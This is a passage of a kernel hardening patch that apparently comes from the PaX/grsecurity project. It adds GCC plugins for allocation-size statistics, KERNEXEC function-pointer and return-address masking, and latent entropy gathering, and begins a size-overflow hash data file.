++		.type			= GIMPLE_PASS,
++		.name			= "kallocstat",
++		.gate			= NULL,
++		.execute		= execute_kallocstat,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static bool is_kalloc(const char *fnname)
++{
++	size_t i;
++
++	for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++)
++		if (!strcmp(fnname, kalloc_functions[i]))
++			return true;
++	return false;
++}
++
++static unsigned int execute_kallocstat(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: 
++			tree fndecl, size;
++			gimple call_stmt;
++			const char *fnname;
++
++			// is it a call
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fndecl = gimple_call_fndecl(call_stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (TREE_CODE(fndecl) != FUNCTION_DECL)
++				continue;
++
++			// is it a call to k*alloc
++			fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl));
++			if (!is_kalloc(fnname))
++				continue;
++
++			// is the size arg the result of a simple const assignment
++			size = gimple_call_arg(call_stmt, 0);
++			while (true) {
++				gimple def_stmt;
++				expanded_location xloc;
++				size_t size_val;
++
++				if (TREE_CODE(size) != SSA_NAME)
++					break;
++				def_stmt = SSA_NAME_DEF_STMT(size);
++				if (!def_stmt || !is_gimple_assign(def_stmt))
++					break;
++				if (gimple_num_ops(def_stmt) != 2)
++					break;
++				size = gimple_assign_rhs1(def_stmt);
++				if (!TREE_CONSTANT(size))
++					continue;
++				xloc = expand_location(gimple_location(def_stmt));
++				if (!xloc.file)
++					xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++				size_val = TREE_INT_CST_LOW(size);
++				fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line);
++				break;
++			}
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++//debug_tree(gimple_call_fn(call_stmt));
++//print_node(stderr, "pax", fndecl, 4);
++		}
++	}
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info kallocstat_pass_info = {
++		.pass				= &kallocstat_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info);
++
++	return 0;
++}
+--- tools/gcc/kernexec_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/kernexec_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,427 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info kernexec_plugin_info = {
++	.version	= "201111291120",
++	.help		= "method=[bts|or]\tinstrumentation method\n"
++};
++
++static unsigned int execute_kernexec_reload(void);
++static unsigned int execute_kernexec_fptr(void);
++static unsigned int execute_kernexec_retaddr(void);
++static bool kernexec_cmodel_check(void);
++
++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *);
++static void (*kernexec_instrument_retaddr)(rtx);
++
++static struct gimple_opt_pass kernexec_reload_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_reload",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_reload,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct gimple_opt_pass kernexec_fptr_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_fptr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_fptr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct rtl_opt_pass kernexec_retaddr_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "kernexec_retaddr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_retaddr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func | TODO_ggc_collect
++	}
++};
++
++static bool kernexec_cmodel_check(void)
++{
++	tree section;
++
++	if (ix86_cmodel != CM_KERNEL)
++		return false;
++
++	section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl));
++	if (!section || !TREE_VALUE(section))
++		return true;
++
++	section = TREE_VALUE(TREE_VALUE(section));
++	if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10))
++		return true;
++
++	return false;
++}
++
++/*
++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered
++ */
++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi)
++{
++	gimple asm_movabs_stmt;
++
++	// build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : );
++	asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL);
++	gimple_asm_set_volatile(asm_movabs_stmt, true);
++	gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(asm_movabs_stmt);
++}
++
++/*
++ * find all asm() stmts that clobber r10 and add a reload of r10
++ */
++static unsigned int execute_kernexec_reload(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: __asm__ ("" :  :  : "r10");
++			gimple asm_stmt;
++			size_t nclobbers;
++
++			// is it an asm ...
++			asm_stmt = gsi_stmt(gsi);
++			if (gimple_code(asm_stmt) != GIMPLE_ASM)
++				continue;
++
++			// ... clobbering r10
++			nclobbers = gimple_asm_nclobbers(asm_stmt);
++			while (nclobbers--) {
++				tree op = gimple_asm_clobber_op(asm_stmt, nclobbers);
++				if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10"))
++					continue;
++				kernexec_reload_fptr_mask(&gsi);
++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO);
++				break;
++			}
++		}
++	}
++
++	return 0;
++}
++
++/*
++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce
++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference
++ */
++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi)
++{
++	gimple assign_intptr, assign_new_fptr, call_stmt;
++	tree intptr, old_fptr, new_fptr, kernexec_mask;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary unsigned long variable used for bitops and cast fptr to it
++	intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts");
++	add_referenced_var(intptr);
++	mark_sym_for_renaming(intptr);
++	assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// apply logical or to temporary unsigned long and bitmask
++	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL);
++//	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL);
++	assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// cast temporary unsigned long back to a temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++	assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr));
++	gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT);
++	update_stmt(assign_new_fptr);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi)
++{
++	gimple asm_or_stmt, call_stmt;
++	tree old_fptr, new_fptr, input, output;
++	VEC(tree, gc) *inputs = NULL;
++	VEC(tree, gc) *outputs = NULL;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++
++	// build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr));
++	input = build_tree_list(NULL_TREE, build_string(2, "0"));
++	input = chainon(NULL_TREE, build_tree_list(input, old_fptr));
++	output = build_tree_list(NULL_TREE, build_string(3, "=r"));
++	output = chainon(NULL_TREE, build_tree_list(output, new_fptr));
++	VEC_safe_push(tree, gc, inputs, input);
++	VEC_safe_push(tree, gc, outputs, output);
++	asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL);
++	gimple_asm_set_volatile(asm_or_stmt, true);
++	gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT);
++	update_stmt(asm_or_stmt);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++/*
++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer
++ */
++static unsigned int execute_kernexec_fptr(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D));
++			tree fn;
++			gimple call_stmt;
++
++			// is it a call ...
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fn = gimple_call_fn(call_stmt);
++			if (TREE_CODE(fn) == ADDR_EXPR)
++				continue;
++			if (TREE_CODE(fn) != SSA_NAME)
++				gcc_unreachable();
++
++			// ... through a function pointer
++			fn = SSA_NAME_VAR(fn);
++			if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != POINTER_TYPE)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != FUNCTION_TYPE)
++				continue;
++
++			kernexec_instrument_fptr(&gsi);
++
++//debug_tree(gimple_call_fn(call_stmt));
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++		}
++	}
++
++	return 0;
++}
++
++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn
++static void kernexec_instrument_retaddr_bts(rtx insn)
++{
++	rtx btsq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("btsq $63,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(btsq) = 1;
++//	RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(btsq, insn);
++}
++
++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn
++static void kernexec_instrument_retaddr_or(rtx insn)
++{
++	rtx orq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("orq %%r10,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(orq) = 1;
++//	RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(orq, insn);
++}
++
++/*
++ * find all asm level function returns and forcibly set the highest bit of the return address
++ */
++static unsigned int execute_kernexec_retaddr(void)
++{
++	rtx insn;
++
++	// 1. find function returns
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil))
++		//            (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil))
++		rtx body;
++
++		// is it a retn
++		if (!JUMP_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) == PARALLEL)
++			body = XVECEXP(body, 0, 0);
++		if (GET_CODE(body) != RETURN)
++			continue;
++		kernexec_instrument_retaddr(insn);
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info kernexec_reload_pass_info = {
++		.pass				= &kernexec_reload_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_fptr_pass_info = {
++		.pass				= &kernexec_fptr_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_retaddr_pass_info = {
++		.pass				= &kernexec_retaddr_pass.pass,
++		.reference_pass_name		= "pro_and_epilogue",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "method")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			if (!strcmp(argv[i].value, "bts")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_bts;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts;
++			} else if (!strcmp(argv[i].value, "or")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_or;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_or;
++				fix_register("r10", 1, 1);
++			} else
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++	if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr)
++		error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name);
++
++	if (kernexec_instrument_fptr == kernexec_instrument_fptr_or)
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info);
++
++	return 0;
++}
+--- tools/gcc/latent_entropy_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/latent_entropy_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,295 @@
++/*
++ * Copyright 2012 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help generate a little bit of entropy from program state,
++ * used during boot in the kernel
++ *
++ * TODO:
++ * - add ipa pass to identify not explicitly marked candidate functions
++ * - mix in more program state (function arguments/return values, loop variables, etc)
++ * - more instrumentation control via attribute parameters
++ *
++ * BUGS:
++ * - LTO needs -flto-partition=none for now
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++int plugin_is_GPL_compatible;
++
++static tree latent_entropy_decl;
++
++static struct plugin_info latent_entropy_plugin_info = {
++	.version	= "201207271820",
++	.help		= NULL
++};
++
++static unsigned int execute_latent_entropy(void);
++static bool gate_latent_entropy(void);
++
++static struct gimple_opt_pass latent_entropy_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "latent_entropy",
++		.gate			= gate_latent_entropy,
++		.execute		= execute_latent_entropy,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	if (TREE_CODE(*node) != FUNCTION_DECL) {
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec latent_entropy_attr = {
++	.name				= "latent_entropy",
++	.min_length			= 0,
++	.max_length			= 0,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_latent_entropy_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&latent_entropy_attr);
++}
++
++static bool gate_latent_entropy(void)
++{
++	tree latent_entropy_attr;
++
++	latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl));
++	return latent_entropy_attr != NULL_TREE;
++}
++
++static unsigned HOST_WIDE_INT seed;
++static unsigned HOST_WIDE_INT get_random_const(void)
++{
++	seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL);
++	return seed;
++}
++
++static enum tree_code get_op(tree *rhs)
++{
++	static enum tree_code op;
++	unsigned HOST_WIDE_INT random_const;
++
++	random_const = get_random_const();
++
++	switch (op) {
++	case BIT_XOR_EXPR:
++		op = PLUS_EXPR;
++		break;
++
++	case PLUS_EXPR:
++		if (rhs) {
++			op = LROTATE_EXPR;
++			random_const &= HOST_BITS_PER_WIDE_INT - 1;
++			break;
++		}
++
++	case LROTATE_EXPR:
++	default:
++		op = BIT_XOR_EXPR;
++		break;
++	}
++	if (rhs)
++		*rhs = build_int_cstu(unsigned_intDI_type_node, random_const);
++	return op;
++}
++
++static void perturb_local_entropy(basic_block bb, tree local_entropy)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, rhs;
++	enum tree_code op;
++
++	op = get_op(&rhs);
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs);
++	assign = gimple_build_assign(local_entropy, addxorrol);
++	find_referenced_vars_in(assign);
++//debug_bb(bb);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static void perturb_latent_entropy(basic_block bb, tree rhs)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, temp;
++
++	// 1. create temporary copy of latent_entropy
++	temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy");
++	add_referenced_var(temp);
++	mark_sym_for_renaming(temp);
++
++	// 2. read...
++	assign = gimple_build_assign(temp, latent_entropy_decl);
++	find_referenced_vars_in(assign);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 3. ...modify...
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs);
++	assign = gimple_build_assign(temp, addxorrol);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 4. ...write latent_entropy
++	assign = gimple_build_assign(latent_entropy_decl, temp);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static unsigned int execute_latent_entropy(void)
++{
++	basic_block bb;
++	gimple assign;
++	gimple_stmt_iterator gsi;
++	tree local_entropy;
++
++	if (!latent_entropy_decl) {
++		struct varpool_node *node;
++
++		for (node = varpool_nodes; node; node = node->next) {
++			tree var = node->decl;
++			if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy"))
++				continue;
++			latent_entropy_decl = var;
++//			debug_tree(var);
++			break;
++		}
++		if (!latent_entropy_decl) {
++//			debug_tree(current_function_decl);
++			return 0;
++		}
++	}
++
++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl)));
++
++	// 1. create local entropy variable
++	local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy");
++	add_referenced_var(local_entropy);
++	mark_sym_for_renaming(local_entropy);
++
++	// 2. initialize local entropy variable
++	bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++	gsi = gsi_start_bb(bb);
++
++	assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const()));
++//	gimple_set_location(assign, loc);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	bb = bb->next_bb;
++
++	// 3. instrument each BB with an operation on the local entropy variable
++	while (bb != EXIT_BLOCK_PTR) {
++		perturb_local_entropy(bb, local_entropy);
++		bb = bb->next_bb;
++	};
++
++	// 4. mix local entropy into the global entropy variable
++	perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy);
++	return 0;
++}
++
++static void start_unit_callback(void *gcc_data, void *user_data)
++{
++#if BUILDING_GCC_VERSION >= 4007
++	seed = get_random_seed(false);
++#else
++	sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed);
++	seed *= seed;
++#endif
++
++	if (in_lto_p)
++		return;
++
++	// extern u64 latent_entropy
++	latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node);
++
++	TREE_STATIC(latent_entropy_decl) = 1;
++	TREE_PUBLIC(latent_entropy_decl) = 1;
++	TREE_USED(latent_entropy_decl) = 1;
++	TREE_THIS_VOLATILE(latent_entropy_decl) = 1;
++	DECL_EXTERNAL(latent_entropy_decl) = 1;
++	DECL_ARTIFICIAL(latent_entropy_decl) = 0;
++	DECL_INITIAL(latent_entropy_decl) = NULL;
++//	DECL_ASSEMBLER_NAME(latent_entropy_decl);
++//	varpool_finalize_decl(latent_entropy_decl);
++//	varpool_mark_needed_node(latent_entropy_decl);
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info latent_entropy_pass_info = {
++		.pass				= &latent_entropy_pass.pass,
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info);
++	register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info);
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/size_overflow_hash.data	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/size_overflow_hash.data	2012-10-15 17:30:59.834924531 +0000
+@@ -0,0 +1,3597 @@
++_000001_hash alloc_dr 2 65495 _000001_hash NULL
++_000002_hash __copy_from_user 3 10918 _000002_hash NULL
++_000003_hash copy_from_user 3 17559 _000003_hash NULL
++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL
++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL
++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL
++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL
++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL
++_000009_hash kmalloc 1 60432 _003302_hash NULL nohasharray
++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL
++_000012_hash __kmalloc_reserve 1 17080 _000012_hash NULL
++_000013_hash kmalloc_slab 1 11917 _000013_hash NULL
++_000014_hash kmemdup 2 64015 _000014_hash NULL
++_000015_hash __krealloc 2 14857 _000340_hash NULL nohasharray
++_000016_hash memdup_user 2 59590 _000016_hash NULL
++_000017_hash module_alloc 1 63630 _000017_hash NULL
++_000018_hash read_default_ldt 2 14302 _000018_hash NULL
++_000019_hash read_kcore 3 63488 _000019_hash NULL
++_000020_hash read_ldt 2 47570 _000020_hash NULL
++_000021_hash read_zero 3 19366 _000021_hash NULL
++_000022_hash __vmalloc_node 1 39308 _000022_hash NULL
++_000023_hash aac_convert_sgraw2 4 51598 _000023_hash NULL
++_000024_hash aa_simple_write_to_buffer 4-3 49683 _000024_hash NULL
++_000025_hash ablkcipher_copy_iv 3 64140 _000025_hash NULL
++_000026_hash ablkcipher_next_slow 3-4 47274 _000026_hash NULL
++_000028_hash acpi_battery_write_alarm 3 1240 _000028_hash NULL
++_000029_hash acpi_os_allocate 1 14892 _000029_hash NULL
++_000030_hash acpi_system_write_wakeup_device 3 34853 _000030_hash NULL
++_000031_hash adu_write 3 30487 _000031_hash NULL
++_000032_hash aer_inject_write 3 52399 _000032_hash NULL
++_000033_hash afs_alloc_flat_call 2-3 36399 _000033_hash NULL
++_000035_hash afs_proc_cells_write 3 61139 _000035_hash NULL
++_000036_hash afs_proc_rootcell_write 3 15822 _000036_hash NULL
++_000037_hash agp_3_5_isochronous_node_enable 3 49465 _000037_hash NULL
